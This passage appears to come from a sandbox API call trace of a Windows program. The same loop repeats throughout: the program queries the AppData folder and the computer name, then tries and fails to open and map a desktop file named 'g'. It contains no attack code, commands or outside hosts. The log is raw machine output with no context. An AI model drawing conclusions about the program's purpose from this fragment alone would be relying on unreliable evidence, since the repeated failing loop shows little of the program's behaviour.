lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.750] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.750] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.750] CloseHandle (hObject=0x0) returned 0 [0144.750] CloseHandle (hObject=0xffffffff) returned 1 [0144.750] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.750] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.750] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.750] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.750] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.750] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.750] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.750] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.750] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.750] CloseHandle (hObject=0x0) returned 0 [0144.750] CloseHandle (hObject=0xffffffff) returned 1 [0144.750] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.750] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.750] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.750] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.750] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.750] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.750] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.751] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.751] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.751] CloseHandle (hObject=0x0) returned 0 [0144.751] CloseHandle (hObject=0xffffffff) returned 1 [0144.751] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.751] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.751] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.751] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.751] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.751] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.751] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.751] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.751] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.751] CloseHandle (hObject=0x0) returned 0 [0144.751] CloseHandle (hObject=0xffffffff) returned 1 [0144.751] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.751] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.751] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.751] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.751] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.751] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.751] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.751] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.752] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.752] CloseHandle (hObject=0x0) returned 0 [0144.752] CloseHandle (hObject=0xffffffff) returned 1 [0144.752] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.752] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.752] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.752] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.752] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.752] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.752] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.752] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.752] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.752] CloseHandle (hObject=0x0) returned 0 [0144.752] CloseHandle (hObject=0xffffffff) returned 1 [0144.752] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.752] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.752] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.752] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.752] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.752] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.752] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.752] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.753] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.753] CloseHandle (hObject=0x0) returned 0 [0144.753] CloseHandle (hObject=0xffffffff) returned 1 [0144.753] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.753] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.753] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.753] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.753] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.753] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.753] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.753] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.753] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.753] CloseHandle (hObject=0x0) returned 0 [0144.753] CloseHandle (hObject=0xffffffff) returned 1 [0144.753] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.753] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.753] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.753] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.753] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.753] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.754] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.754] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.754] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.754] CloseHandle (hObject=0x0) returned 0 [0144.754] CloseHandle (hObject=0xffffffff) returned 1 [0144.754] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.754] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.754] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.754] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.754] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.754] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.754] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.754] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.754] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.754] CloseHandle (hObject=0x0) returned 0 [0144.754] CloseHandle (hObject=0xffffffff) returned 1 [0144.754] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.754] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.754] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.754] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.754] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.754] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.755] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.755] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.755] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.755] CloseHandle (hObject=0x0) returned 0 [0144.755] CloseHandle (hObject=0xffffffff) returned 1 [0144.755] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.755] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.755] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.755] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.755] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.755] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.755] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.755] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.755] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.755] CloseHandle (hObject=0x0) returned 0 [0144.755] CloseHandle (hObject=0xffffffff) returned 1 [0144.755] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.755] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.755] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.755] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.755] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.755] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.755] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.756] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.756] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.756] CloseHandle (hObject=0x0) returned 0 [0144.756] CloseHandle (hObject=0xffffffff) returned 1 [0144.756] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.756] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.756] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.756] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.756] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.756] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.756] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.756] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.756] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.756] CloseHandle (hObject=0x0) returned 0 [0144.756] CloseHandle (hObject=0xffffffff) returned 1 [0144.756] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.756] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.756] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.756] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.756] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.756] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.757] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.757] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.757] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.757] CloseHandle (hObject=0x0) returned 0 [0144.757] CloseHandle (hObject=0xffffffff) returned 1 [0144.757] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.757] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.757] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.757] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.757] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.757] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.757] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.757] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.757] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.757] CloseHandle (hObject=0x0) returned 0 [0144.757] CloseHandle (hObject=0xffffffff) returned 1 [0144.757] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.757] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.757] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.757] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.757] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.758] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.758] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.758] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.758] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.758] CloseHandle (hObject=0x0) returned 0 [0144.758] CloseHandle (hObject=0xffffffff) returned 1 [0144.758] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.758] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.758] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.758] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.758] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.758] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.758] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.758] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 